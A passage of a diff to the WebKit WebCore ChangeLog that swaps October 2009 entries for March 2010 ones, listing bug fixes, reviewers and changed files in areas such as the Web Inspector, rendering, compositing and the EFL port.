+        Introduce InspectorFrontendClient that provides InspectorFrontend with an interface to the embedder. InspectorClient now serves as a delegate for InspectorController and does not contain methods for managing inspector frontend window. That allows to create remote InspectorFrontendHost.
 
-        * dom/Document.h: Removed clear().
+        Introduce InspectorFrontendClient that would provide InspectorFrontend with an interface to the embedder
+        https://bugs.webkit.org/show_bug.cgi?id=35036
 
+        * GNUmakefile.am:
+        * WebCore.Inspector.exp:
+        * WebCore.base.exp:
+        * WebCore.gypi:
+        * WebCore.order:
+        * WebCore.pro:
+        * WebCore.xcodeproj/project.pbxproj:
+        * inspector/ConsoleMessage.cpp:
+        (WebCore::ConsoleMessage::addToFrontend):
+        * inspector/ConsoleMessage.h:
+        * inspector/InspectorClient.h:
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::InspectorController):
+        (WebCore::InspectorController::~InspectorController):
+        (WebCore::InspectorController::inspectedPageDestroyed):
+        (WebCore::InspectorController::windowVisible):
+        (WebCore::InspectorController::frontendReady):
+        (WebCore::InspectorController::willCloseFrontend):
+        (WebCore::InspectorController::addConsoleMessage):
+        (WebCore::InspectorController::setInspectorFrontendClient):
+        (WebCore::InspectorController::inspectedWindowScriptObjectCleared):
+        (WebCore::InspectorController::setFrontend):
+        (WebCore::InspectorController::show):
+        (WebCore::InspectorController::close):
+        (WebCore::InspectorController::releaseDOMAgent):
+        (WebCore::InspectorController::populateScriptObjects):
+        (WebCore::InspectorController::didCommitLoad):
+        (WebCore::InspectorController::getProfile):
+        (WebCore::InspectorController::enableDebugger):
+        * inspector/InspectorController.h:
+        (WebCore::InspectorController::hasInspectorFrontendClient):
+        * inspector/InspectorFrontend.cpp:
+        (WebCore::InspectorFrontend::InspectorFrontend):
+        (WebCore::InspectorFrontend::~InspectorFrontend):
+        (WebCore::InspectorFrontend::addConsoleMessage):
+        (WebCore::InspectorFrontend::bringToFront):
+        (WebCore::InspectorFrontend::inspectedURLChanged):
+        * inspector/InspectorFrontend.h:
+        * inspector/InspectorFrontendClient.h: Added.
+        (WebCore::InspectorFrontendClient::~InspectorFrontendClient):
+        * inspector/InspectorFrontendClientLocal.cpp: Added.
+        (WebCore::FrontendMenuProvider::create):
+        (WebCore::FrontendMenuProvider::disconnect):
+        (WebCore::FrontendMenuProvider::FrontendMenuProvider):
+        (WebCore::FrontendMenuProvider::~FrontendMenuProvider):
+        (WebCore::FrontendMenuProvider::populateContextMenu):
+        (WebCore::FrontendMenuProvider::contextMenuItemSelected):
+        (WebCore::FrontendMenuProvider::contextMenuCleared):
+        (WebCore::InspectorFrontendClientLocal::InspectorFrontendClientLocal):
+        (WebCore::InspectorFrontendClientLocal::~InspectorFrontendClientLocal):
+        (WebCore::InspectorFrontendClientLocal::windowObjectCleared):
+        (WebCore::InspectorFrontendClientLocal::frontendLoaded):
+        (WebCore::InspectorFrontendClientLocal::canAttachWindow):
+        (WebCore::InspectorFrontendClientLocal::changeAttachedWindowHeight):
+        (WebCore::InspectorFrontendClientLocal::moveWindowBy):
+        (WebCore::InspectorFrontendClientLocal::showContextMenu):
+        (WebCore::InspectorFrontendClientLocal::setAttachedWindow):
+        (WebCore::InspectorFrontendClientLocal::restoreAttachedWindowHeight):
+        (WebCore::InspectorFrontendClientLocal::constrainedAttachedWindowHeight):
+        * inspector/InspectorFrontendClientLocal.h: Added.
+        * inspector/InspectorFrontendHost.cpp:
+        (WebCore::InspectorFrontendHost::InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::~InspectorFrontendHost):
+        (WebCore::InspectorFrontendHost::loaded):
+        (WebCore::InspectorFrontendHost::attach):
+        (WebCore::InspectorFrontendHost::detach):
+        (WebCore::InspectorFrontendHost::closeWindow):
+        (WebCore::InspectorFrontendHost::bringToFront):
+        (WebCore::InspectorFrontendHost::inspectedURLChanged):
+        (WebCore::InspectorFrontendHost::canAttachWindow):
+        (WebCore::InspectorFrontendHost::setAttachedWindowHeight):
+        (WebCore::InspectorFrontendHost::moveWindowBy):
+        (WebCore::InspectorFrontendHost::showContextMenu):
+        * inspector/InspectorFrontendHost.h:
+        (WebCore::InspectorFrontendHost::create):
+        * inspector/InspectorFrontendHost.idl:
+        * inspector/front-end/InspectorFrontendHostStub.js:
+        (.WebInspector.InspectorFrontendHostStub.prototype.bringToFront):
+        (.WebInspector.InspectorFrontendHostStub.prototype.inspectedURLChanged):
+        * inspector/front-end/inspector.js:
+        (WebInspector.loaded):
+        (WebInspector.close):
+        (WebInspector.bringToFront):
+        (WebInspector.inspectedURLChanged):
+        * loader/EmptyClients.h:
+        (WebCore::EmptyInspectorClient::openInspectorFrontend):
         * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::stopLoading): add check to avoid removing window event handlers
-        if we transition from temporary empty document to a loaded one.
-
-        (WebCore::FrameLoader::didOpenURL): Remove closeURL() which was called twice when loading.
-        (WebCore::FrameLoader::finishedLoadingDocument): add closeURL() to compensate for change above.
-
-2009-10-13  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Pavel Feldman.
-
-        Fix a leak in the inspector by calling didRemoveNode with
-        an error code when it fails, instead of returning from the
-        Backend.
-
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::removeNode):
-        * inspector/front-end/ElementsTreeOutline.js:
+        (WebCore::FrameLoader::dispatchDidClearWindowObjectInWorld):
+        * page/Page.cpp:
+        (WebCore::Page::Page):
+        (WebCore::Page::~Page):
+        * page/Page.h:
+        * platform/ContextMenu.cpp:
+        (WebCore::ContextMenu::populate):
+        (WebCore::ContextMenu::addInspectElementItem):
 
-2009-10-13  Brian Weinstein  <bweinstein@apple.com>
+2010-03-16  Pavel Feldman  <pfeldman@chromium.org>
 
         Reviewed by Timothy Hatcher.
 
-        Fixes <https://bugs.webkit.org/show_bug.cgi?id=30337>.
-        Web Inspector: Should be able to delete nodes from the Elements Tree.
-        
-        When the delete key is pressed and a element is selected in the tree,
-        the element should be deleted from the Elements Tree and the DOM.
+        Web Inspector: migrate to native styles inspector in
+        order to inspect styles from foreighn domains.
+
+        https://bugs.webkit.org/show_bug.cgi?id=36117
 
         * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::removeNode):
+        (WebCore::InspectorBackend::getStyles):
+        (WebCore::InspectorBackend::getInlineStyle):
+        (WebCore::InspectorBackend::getComputedStyle):
+        (WebCore::InspectorBackend::applyStyleText):
+        (WebCore::InspectorBackend::setStyleText):
+        (WebCore::InspectorBackend::setStyleProperty):
+        (WebCore::InspectorBackend::toggleStyleEnabled):
+        (WebCore::InspectorBackend::setRuleSelector):
+        (WebCore::InspectorBackend::addRule):
         * inspector/InspectorBackend.h:
         * inspector/InspectorBackend.idl:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::InspectorDOMAgent):
+        (WebCore::InspectorDOMAgent::getStyles):
+        (WebCore::InspectorDOMAgent::getInlineStyle):
+        (WebCore::InspectorDOMAgent::getComputedStyle):
+        (WebCore::InspectorDOMAgent::getMatchedCSSRules):
+        (WebCore::InspectorDOMAgent::getAttributeStyles):
+        (WebCore::InspectorDOMAgent::applyStyleText):
+        (WebCore::InspectorDOMAgent::setStyleText):
+        (WebCore::InspectorDOMAgent::setStyleProperty):
+        (WebCore::InspectorDOMAgent::toggleStyleEnabled):
+        (WebCore::InspectorDOMAgent::setRuleSelector):
+        (WebCore::InspectorDOMAgent::addRule):
+        (WebCore::InspectorDOMAgent::bindStyle):
+        (WebCore::InspectorDOMAgent::bindRule):
+        (WebCore::InspectorDOMAgent::buildObjectForStyle):
+        (WebCore::InspectorDOMAgent::populateObjectWithStyleProperties):
+        (WebCore::InspectorDOMAgent::buildObjectForRule):
+        (WebCore::InspectorDOMAgent::uniqueStyleProperties):
+        (WebCore::InspectorDOMAgent::longhandProperties):
+        (WebCore::InspectorDOMAgent::shorthandPriority):
+        (WebCore::InspectorDOMAgent::ruleAffectsNode):
+        (WebCore::InspectorDOMAgent::toArray):
+        * inspector/InspectorDOMAgent.h:
         * inspector/InspectorFrontend.cpp:
-        (WebCore::InspectorFrontend::didRemoveNode):
+        (WebCore::InspectorFrontend::didGetEventListenersForNode):
+        (WebCore::InspectorFrontend::didGetStyles):
+        (WebCore::InspectorFrontend::didGetComputedStyle):
+        (WebCore::InspectorFrontend::didGetInlineStyle):
+        (WebCore::InspectorFrontend::didApplyStyleText):
+        (WebCore::InspectorFrontend::didSetStyleText):
+        (WebCore::InspectorFrontend::didSetStyleProperty):
+        (WebCore::InspectorFrontend::didToggleStyleEnabled):
+        (WebCore::InspectorFrontend::didSetRuleSelector):
+        (WebCore::InspectorFrontend::didAddRule):
         * inspector/InspectorFrontend.h:
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.prototype._updateModifiedNodes):
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.CSSStyleDeclaration):
         * inspector/front-end/ElementsTreeOutline.js:
-        (WebInspector.ElementsTreeOutline.prototype.handleKeyEvent):
-
-2009-10-13  Brian Weinstein  <bweinstein@apple.com>
-
-        Reviewed by Timothy Hatcher.
-
-        Fix REGRESSION(49479): Mouseover on resources graph doesn't show timings.
-        
-        Set pointer-events: none on the new overlay so mouseover events are passed
-        to the resources graph so we can show timings.
-
-        * inspector/front-end/inspector.css:
-
-2009-10-13  Girish Ramakrishnan  <girish@forwardbias.in>
-
-        Reviewed by Simon Hausmann.
-
-        [Qt] Plugins : Remove all traces of winId. Use ownerWidget() instead.
-        
-        This is a bug for two reasons:
-        1. Everytime we use winId(), we end up creating a native widget. This causes an
-        unnecessary copy of contents from the backing store to the native widget.
-        2. Neither windowed nor windowless plugins require the winId of the QWebView or
-        QGraphicsView.
-        
-        Introduce ownerWidget() which returns a QWidget * without creating a native widget
-        (as opposed to QWidget::find(winId)).
-
-       https://bugs.webkit.org/show_bug.cgi?id=30170
-
-        * platform/qt/PlatformScreenQt.cpp:
-        (WebCore::screenDepthPerComponent):
-        * platform/qt/PopupMenuQt.cpp:
-        (WebCore::PopupMenu::show):
-        * platform/qt/QWebPageClient.h:
-        * plugins/qt/PluginViewQt.cpp:
-        (WebCore::setSharedXEventFields):
-        (WebCore::PluginView::initXEvent):
-        (WebCore::PluginView::getValue):
-        (WebCore::PluginView::platformStart):
-
-2009-10-13  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Unreviewed build system fix. Typo in a filename.
-
-        * GNUmakefile.am:
-
-2009-10-12  Alexander Pavlov  <apavlov@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-        Alter profile link format to enable multiple profile types
-        https://bugs.webkit.org/show_bug.cgi?id=30253
-
-        The new profile URL includes the profile type along with the
-        profile title and uid.
-
-        * inspector/InspectorController.cpp:
-        (WebCore::InspectorController::addProfileFinishedMessageToConsole):
-        (WebCore::InspectorController::addStartProfilingMessageToConsole):
-        * inspector/front-end/inspector.js:
-        (WebInspector.documentClick.followLink):
-        (WebInspector.documentClick):
-        (WebInspector.linkifyStringAsFragment):
+        * inspector/front-end/InjectedScript.js:
+        * inspector/front-end/MetricsSidebarPane.js:
+        (WebInspector.MetricsSidebarPane.prototype.update):
+        (WebInspector.MetricsSidebarPane.prototype.editingCommitted):
+        * inspector/front-end/StylesSidebarPane.js:
+        (WebInspector.StylesSidebarPane.prototype.update):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted.callback):
+        (WebInspector.StylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted.callback):
+        (WebInspector.BlankStylePropertiesSection.prototype.editingSelectorCommitted):
+        (WebInspector.StylePropertyTreeElement.prototype):
+        (WebInspector.StylePropertyTreeElement.prototype.):
 
-2009-10-12  Alexander Pavlov  <apavlov@chromium.org>
+2010-03-16  Shinichiro Hamaji  <hamaji@chromium.org>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Darin Adler.
 
-        Fix same-named profiles grouping in the Profiles panel.
+        RenderText::m_text should be a String, not RefPtr<StringImpl>
+        https://bugs.webkit.org/show_bug.cgi?id=36010
 
-        The tree node re-parenting while adding a new group node was broken.
-         
-        https://bugs.webkit.org/show_bug.cgi?id=30299
+        Refactoring only, so no new tests.
 
-        * inspector/front-end/ProfilesPanel.js:
-        (WebInspector.ProfilesPanel.prototype.addProfile):
+        * platform/text/PlatformString.h:
+        (WebCore::String::makeLower):
+        (WebCore::String::makeUpper):
+        (WebCore::String::makeSecure):
+        (WebCore::String::makeCapitalized):
+        (WebCore::String::containsOnlyASCII):
+        * rendering/RenderText.cpp:
+        (WebCore::RenderText::RenderText):
+        (WebCore::RenderText::widthFromCache):
+        (WebCore::RenderText::trimmedPrefWidths):
+        (WebCore::RenderText::containsOnlyWhitespace):
+        (WebCore::RenderText::setTextInternal):
+        (WebCore::RenderText::setText):
+        (WebCore::RenderText::previousOffset):
+        (WebCore::RenderText::previousOffsetForBackwardDeletion):
+        (WebCore::RenderText::nextOffset):
+        * rendering/RenderText.h:
+        (WebCore::RenderText::text):
+        (WebCore::RenderText::characters):
+        (WebCore::RenderText::textLength):
+
+2010-03-16  Adam Barth  <abarth@webkit.org>
 
-2009-10-12  Pavel Feldman  <pfeldman@chromium.org>
+        Reviewed by Darin Adler.
 
-        Reviewed by Timothy Hatcher.
+        noscript tag should render when @sandbox disables JavaScript
+        https://bugs.webkit.org/show_bug.cgi?id=36092
 
-        Web Inspector: Enforce async interaction between inspector controller and frontend.
+        Instead of talking to Settings directly to figure out if JavaScript is
+        enabled in a frame, we need to talk to the ScriptController.  The
+        ScriptController is better at answering that question because it knows
+        about @sandbox.
 
-        https://bugs.webkit.org/show_bug.cgi?id=30300
+        Test: fast/frames/sandboxed-iframe-noscript.html
 
-        * inspector/front-end/inspector.js:
-        (WebInspector.dispatch.delayDispatch):
-        (WebInspector.dispatch):
+        * dom/Document.cpp:
+        (WebCore::Document::Document):
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::createRenderer):
+        * html/HTMLElement.cpp:
+        (WebCore::HTMLElement::rendererIsNeeded):
+        * html/HTMLParser.cpp:
+        (WebCore::HTMLParser::noscriptCreateErrorCheck):
+        (WebCore::HTMLParser::isInline):
+        * plugins/PluginView.cpp:
+        (WebCore::PluginView::load):
 
-2009-10-12  Xiaomei Ji  <xji@chromium.org>
+2010-03-15  John Gregg  <johnnyg@google.com>
 
-        Reviewed by Sam Weinig.
+        Reviewed by David Levin.
 
-        Fix issue caretRangeFromPoint() returns wrong result for a zoomed and 
-        scrolled page.
-        https://bugs.webkit.org/show_bug.cgi?id=30034
+        Notification object should expose absolute URL of icon
+        https://bugs.webkit.org/show_bug.cgi?id=35800
 
-        * dom/Document.cpp:
-        (WebCore::Document::elementFromPoint): calculate the correct point 
-        relative to document when the page is zoomed and scrolled.
-        (WebCore::Document::caretRangeFromPoint): calculate the correct point 
-        relative to document when the page is zoomed and scrolled.
+        Covered by existing tests.
 
-2009-10-12  Fumitoshi Ukai  <ukai@chromium.org>
+        * notifications/Notification.cpp:
+        (WebCore::Notification::Notification):
+        * notifications/Notification.h:
+        (WebCore::Notification::iconURL):
 
-        Reviewed by Sam Weinig.
+2010-03-15  Leandro Pereira  <leandro@profusion.mobi>
 
-        JavaScript bindings of WebSocket addEventListener/removeEventListener
-        https://bugs.webkit.org/show_bug.cgi?id=29841
+        Reviewed by Holger Freyther.
 
-        Test: fast/websockets/websocket-event-target.html
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35887
 
-        * bindings/js/JSWebSocketCustom.cpp:
-        (WebCore::JSWebSocket::addEventListener):
-        (WebCore::JSWebSocket::removeEventListener):
-        * bindings/v8/custom/V8CustomBinding.h:
-        * bindings/v8/custom/V8WebSocketCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * websockets/WebSocket.idl:
+        * platform/efl/ClipboardEfl.cpp: Added.
+        * platform/efl/PasteboardEfl.cpp: Added.
 
-2009-10-12  Sam Weinig  <sam@webkit.org>
+2010-03-15  Kent Tamura  <tkent@chromium.org>
 
-        Reviewed by Darin Adler.
+        Reviewed by Eric Seidel.
 
-        Fix for https://bugs.webkit.org/show_bug.cgi?id=29078
-        <rdar://problem/7288221>
+        Don't submit disabled menu options.
+        https://bugs.webkit.org/show_bug.cgi?id=35056
 
-        Add a mechanism to blacklist certain codecs.  Initially, just blacklist UTF-7 as HTML5 encourages.
+        Test: fast/forms/menulist-disabled-selected-option.html
 
-        * platform/text/TextEncodingRegistry.cpp:
-        (WebCore::pruneBlacklistedCodecs):
-        (WebCore::buildBaseTextCodecMaps):
-        (WebCore::extendTextCodecMaps):
+        * dom/OptionElement.h:
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::appendFormData):
+         If a selected option is disabled, skip it.
+         Remove code for non-selected menulist because of compatibility with
+         other browsers.
 
-2009-10-09  Dave Hyatt  <hyatt@apple.com>
+2010-03-15  Leandro Pereira  <leandro@profusion.mobi>
 
-        Reviewed by Darin Adler.
+        Reviewed by Holger Freyther.
 
-        Add support for the beforeload event to frames.  Complete support of the beforeload event by making sure
-        its wrapper gets properly constructed (so that the URL field of the event can be accessed).  Add support
-        for the Objective-C wrapper class as well.
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35884
 
-        Added fast/dom/beforeload/frame-before-load.html
+        * platform/efl/FileSystemEfl.cpp: Added.
 
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSEventCustom.cpp:
-        (WebCore::toJS):
-        * bindings/objc/DOMEvents.mm:
-        (kitClass):
-        * dom/BeforeLoadEvent.h:
-        (WebCore::BeforeLoadEvent::isBeforeLoadEvent):
-        * dom/Event.cpp:
-        (WebCore::Event::isBeforeLoadEvent):
-        * dom/Event.h:
-        * html/HTMLFrameElementBase.cpp:
-        (WebCore::HTMLFrameElementBase::parseMappedAttribute):
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::loadWithDocumentLoader):
+2010-03-15  Leandro Pereira  <leandro@profusion.mobi>
 
-2009-10-12  Dan Bernstein  <mitz@apple.com>
+        Reviewed by Holger Freyther.
 
-        Reviewed by Simon Fraser.
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35882
 
-        Fix <rdar://problem/7094146> Reproducible crash at
-        RenderObject::localToAbsolute()
+        * platform/efl/ContextMenuItemEfl.cpp: Added.
 
-        Test: fast/dynamic/position-absolute-to-fixed-crash.html
+2010-03-15  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
 
-        The crash was caused by stale positioned objects lists following an
-        object transitioning from being absolutely position to being fixed
-        positioned.
+        Reviewed by Holger Freyther.
 
-        * rendering/RenderBox.cpp:
-        (WebCore::RenderBox::styleWillChange): In case of a transition between
-        absolute and fixed position, mark the parent as having a child needing
-        layout, so that this object will get inserted into its new container's
-        positioned objects list.
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::styleWillChange): Changed a condition to cover
-        this transition, so that this object gets removed from its current
-        container's positioned objects list.
+        https://bugs.webkit.org/show_bug.cgi?id=35502
+        [Gtk] Objects of ATK_ROLE_TABLE should not implement AtkText
 
-2009-10-12  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Simple change to stop tables from implementing AtkText.
 
-        Reviewed by Simon Hausmann.
+        * accessibility/gtk/AccessibilityObjectAtk.cpp:
+        (getInterfaceMaskFromObject):
 
-        Add a palette() method that is needed by our RenderTheme.
+2010-03-15  Adam Bergkvist  <adam.bergkvist@ericsson.com>
 
-        * platform/qt/QWebPageClient.h:
+        Reviewed by Adam Barth.
 
-2009-10-12  Dirk Schulze  <krit@webkit.org>
+        According to the updated specification, a data field should always
+        result in a newline character being appended to the data buffer
+        regardless if the data buffer contains any data or not. However, upon
+        event dispatch, the last newline will be removed. This differs from an
+        older version of the specification where a newline character was
+        appended before the data value only if the buffer already contained
+        data. As a result, EventSource now supports receiving events with empty
+        data or newline characters only.
+        https://bugs.webkit.org/show_bug.cgi?id=33210
 
-        Reviewed by Nikolas Zimmermann.
+        * page/EventSource.cpp:
+        (WebCore::EventSource::parseEventStreamLine):
 
-        SVG Gradients can't handle percentage values in userSpaceOnUse mode
-        [https://bugs.webkit.org/show_bug.cgi?id=30286]
-
-        Fixed *GradientAttributes to take SVGLength instead of double. This casues
-        the problem, that we can't calculate the correct size of a gradient on
-        userSpaceOnUse mode with percentage values.
-
-        Test: svg/custom/gradient-userSpaceOnUse-with-percentage.svg
-
-        * svg/LinearGradientAttributes.h:
-        (WebCore::LinearGradientAttributes::LinearGradientAttributes):
-        (WebCore::LinearGradientAttributes::x1):
-        (WebCore::LinearGradientAttributes::y1):
-        (WebCore::LinearGradientAttributes::x2):
-        (WebCore::LinearGradientAttributes::y2):
-        (WebCore::LinearGradientAttributes::setX1):
-        (WebCore::LinearGradientAttributes::setY1):
-        (WebCore::LinearGradientAttributes::setX2):
-        (WebCore::LinearGradientAttributes::setY2):
-        * svg/RadialGradientAttributes.h:
-        (WebCore::RadialGradientAttributes::RadialGradientAttributes):
-        (WebCore::RadialGradientAttributes::cx):
-        (WebCore::RadialGradientAttributes::cy):
-        (WebCore::RadialGradientAttributes::r):
-        (WebCore::RadialGradientAttributes::fx):
-        (WebCore::RadialGradientAttributes::fy):
-        (WebCore::RadialGradientAttributes::setCx):
-        (WebCore::RadialGradientAttributes::setCy):
-        (WebCore::RadialGradientAttributes::setR):
-        (WebCore::RadialGradientAttributes::setFx):
-        (WebCore::RadialGradientAttributes::setFy):
-        * svg/SVGLinearGradientElement.cpp:
-        (WebCore::SVGLinearGradientElement::buildGradient):
-        (WebCore::SVGLinearGradientElement::collectGradientProperties):
-        * svg/SVGRadialGradientElement.cpp:
-        (WebCore::SVGRadialGradientElement::buildGradient):
-        (WebCore::SVGRadialGradientElement::collectGradientProperties):
-
-2009-10-12  Brian Weinstein  <bweinstein@apple.com>
+2010-03-15  Valters Svabe  <vsvabe@gmail.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Darin Adler.
 
-        Fixes <http://webkit.org/b/30315>.
-        Web Inspector: DOM Content and Load lines in Resources are unclear what they mean.
+        :after selector displays in wrong place with nested div
+        https://bugs.webkit.org/show_bug.cgi?id=32288
         
-        Add tooltip text to the Load event and DOM Content event lines through
-        a new layer that allows these lines to be on top of the view.
-
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel.prototype._updateGraphDividersIfNeeded):
-        (WebInspector.ResourcesPanel.prototype._updateDividersLabelBarPosition):
-        * inspector/front-end/inspector.css:
-
-2009-10-12  Dimitri Glazkov  <dglazkov@chromium.org>
+        Make sure we don't append things after :after-generated content, if
+        it's inside an anonymous block.
 
-        No review, rolling out r49429, because it broke layout tests.
-        http://trac.webkit.org/changeset/49429
+        Test: fast/css-generated-content/block-after.html
 
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::~V8AbstractEventListener):
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::addChild):
 
-2009-10-12  Dirk Schulze  <krit@webkit.org>
+2010-03-15  Leandro Pereira  <leandro@profusion.mobi>
 
         Reviewed by Eric Seidel.
 
-        SVG - crash on feMerge when input not available
-        [https://bugs.webkit.org/show_bug.cgi?id=30297]
-
-        Make a early return in SVGFEMergeElement if the needed
-        filter effect doesn't exist.
-
-        Test: svg/filters/feMerge-wrong-input.svg
-
-        * svg/SVGFEMergeElement.cpp:
-        (WebCore::SVGFEMergeElement::build):
-
-2009-10-12  Chris Marrin  <cmarrin@apple.com>
+        Add EFL port files to platform/efl.
+        http://webkit.org/b/35885
 
-        Reviewed by Oliver Hunt.
+        * platform/efl/KURLEfl.cpp: Added.
 
-        Added automatic flush before compositing
-        https://bugs.webkit.org/show_bug.cgi?id=30236
+2010-03-15  Chris Fleizach  <cfleizach@apple.com>
 
-        This causes image to always render correctly. In writing a testcase
-        I needed to implement readPixels. This exposed a bug in reading back
-        values from a CanvasArray subclass, so I fixed that as well. Now when
-        you wrap a CanvasArray in a JSValue it actually wraps the specific
-        subclass. To do this I need to add virtual methods to each CanvasArray
-        subclass to determine the type and a custom toJS method for CanvasArray
-        to create the proper wrapper. 
+        Reviewed by Beth Dakin.
 
-        Test: fast/canvas/webgl/triangle.html
+        VO not able to perform a VO-spacebar on facebook links
+        https://bugs.webkit.org/show_bug.cgi?id=36132
 
-        * WebCore.xcodeproj/project.pbxproj:
-        * bindings/js/JSCanvasArrayCustom.cpp:
-        (WebCore::toJS):
-        * html/canvas/CanvasArray.h:
-        (WebCore::CanvasArray::isByteArray):
-        (WebCore::CanvasArray::isUnsignedByteArray):
-        (WebCore::CanvasArray::isShortArray):
-        (WebCore::CanvasArray::isUnsignedShortArray):
-        (WebCore::CanvasArray::isIntArray):
-        (WebCore::CanvasArray::isUnsignedIntArray):
-        (WebCore::CanvasArray::isFloatArray):
-        * html/canvas/CanvasArray.idl:
-        * html/canvas/CanvasByteArray.h:
-        (WebCore::CanvasByteArray::isByteArray):
-        * html/canvas/CanvasFloatArray.h:
-        (WebCore::CanvasFloatArray::isFloatArray):
-        * html/canvas/CanvasIntArray.h:
-        (WebCore::CanvasIntArray::isIntArray):
-        * html/canvas/CanvasRenderingContext3D.cpp:
-        (WebCore::CanvasRenderingContext3D::readPixels):
-        * html/canvas/CanvasRenderingContext3D.h:
-        * html/canvas/CanvasRenderingContext3D.idl:
-        * html/canvas/CanvasShortArray.h:
-        (WebCore::CanvasShortArray::isShortArray):
-        * html/canvas/CanvasUnsignedByteArray.h:
-        (WebCore::CanvasUnsignedByteArray::isUnsignedByteArray):
-        * html/canvas/CanvasUnsignedIntArray.h:
-        (WebCore::CanvasUnsignedIntArray::isUnsignedIntArray):
-        * html/canvas/CanvasUnsignedShortArray.h:
-        (WebCore::CanvasUnsignedShortArray::isUnsignedShortArray):
-        * platform/graphics/GraphicsContext3D.h:
-        * platform/graphics/mac/Canvas3DLayer.mm:
-        (-[Canvas3DLayer drawInCGLContext:pixelFormat:forLayerTime:displayTime:]):
-        * platform/graphics/mac/GraphicsContext3DMac.cpp:
-        (WebCore::GraphicsContext3D::readPixels):
+        When a label element is used as a click event handler, and it doesn't have any
+        corresponding control, it should handle the action itself.
 
-2009-10-12  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+        Test: accessibility/label-element-press.html
 
-        Reviewed by Gustavo Noronha.
+        * html/HTMLLabelElement.cpp:
+        (WebCore::HTMLLabelElement::accessKeyAction):
 
-        https://bugs.webkit.org/show_bug.cgi?id=30307
-        
-        Fix 0 sentinel for g_object_set() function call.
+2010-03-15  Cameron Zwarich  <zwarich@apple.com>
 
-        * platform/graphics/gtk/DataSourceGStreamer.cpp:
-        (webkit_data_src_uri_set_uri):
-        0 is passed as 32 bit value on x86-64 in vararg functions, but
-        g_object_set() expects a 64 bit 0. This will cause crashes.
-
-2009-10-12  Cameron McCormack  <cam@mcc.id.au>
-
-        Reviewed by Eric Seidel.
-
-        Drop in="" from <feFlood>
-        https://bugs.webkit.org/show_bug.cgi?id=29001
+        Reviewed by Geoff Garen.
 
-        This makes <feFlood in="bogus"> have an effect, too.
+        Bug 36135 - GCController::garbageCollectNow() crashes when called from garbage collection
+        <https://bugs.webkit.org/show_bug.cgi?id=36135>
+        <rdar://problem/7752552>
 
-        http://www.w3.org/2003/01/REC-SVG11-20030114-errata#feflood-attribute
+        * bindings/js/GCController.cpp:
+        (WebCore::GCController::garbageCollectNow): Fail silently if garbage collection is
+        active rather than hitting the CRASH() reentrancy guard.
 
-        Test: svg/dom/feFlood-no-in1.html
+2010-03-15  Simon Fraser  <simon.fraser@apple.com>
 
-        * svg/SVGFEFloodElement.cpp:
-        (WebCore::SVGFEFloodElement::SVGFEFloodElement):
-        (WebCore::SVGFEFloodElement::build):
-        * svg/SVGFEFloodElement.h:
-        * svg/SVGFEFloodElement.idl:
-        * svg/graphics/filters/SVGFEFlood.cpp:
-        (WebCore::FEFlood::FEFlood):
-        (WebCore::FEFlood::create):
-        * svg/graphics/filters/SVGFEFlood.h:
+        Reviewed by Dan Bernstein.
 
-2009-10-12  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+        Drop out of compositing mode when no elements need to composite
+        https://bugs.webkit.org/show_bug.cgi?id=36134
 
-        Reviewed by Gustavo Noronha.
+        When no more elements on the page need to be composited, drop out of compositing
+        mode altogether, including removing the layer-backed view that hosts the layers.
 
-        https://bugs.webkit.org/show_bug.cgi?id=29998
+        * rendering/RenderLayerCompositor.cpp:
+        (WebCore::RenderLayerCompositor::updateCompositingLayers): If the list of child layers to attach at
+        the root is empty, we have no composited layers, and can drop out of compositing mode by calling
+        willMoveOffscreen().
         
-        Scale video to completely fill the target surface while
-        keeping the aspect ratio. This fixes displaying of the
-        YouTube HTML5 sample website.
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        Scale video to completely fill the target surface, keep
-        the aspect ratio and center it.
-
-2009-10-12  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
-
-        Reviewed by Gustavo Noronha.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29997
+        (WebCore::RenderLayerCompositor::computeCompositingRequirements): In several places,
+        use willBeComposited rather than calling needsToBeComposited(), because it avoids
+        recomputing state that we know already (but assert that we're getting it right).
+        When we're assessing the root layer in post-order, see if we have any child layers that
+        are compositing, and also whether the root itself needs to composite. If neither are
+        true, then we can drop out of compositing mode.
         
-        Fixes double memcpy of all rendered video frames.
-
-        * platform/graphics/gtk/MediaPlayerPrivateGStreamer.cpp:
-        (WebCore::mediaPlayerPrivateRepaintCallback):
-        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::~MediaPlayerPrivate):
-        (WebCore::MediaPlayerPrivate::duration):
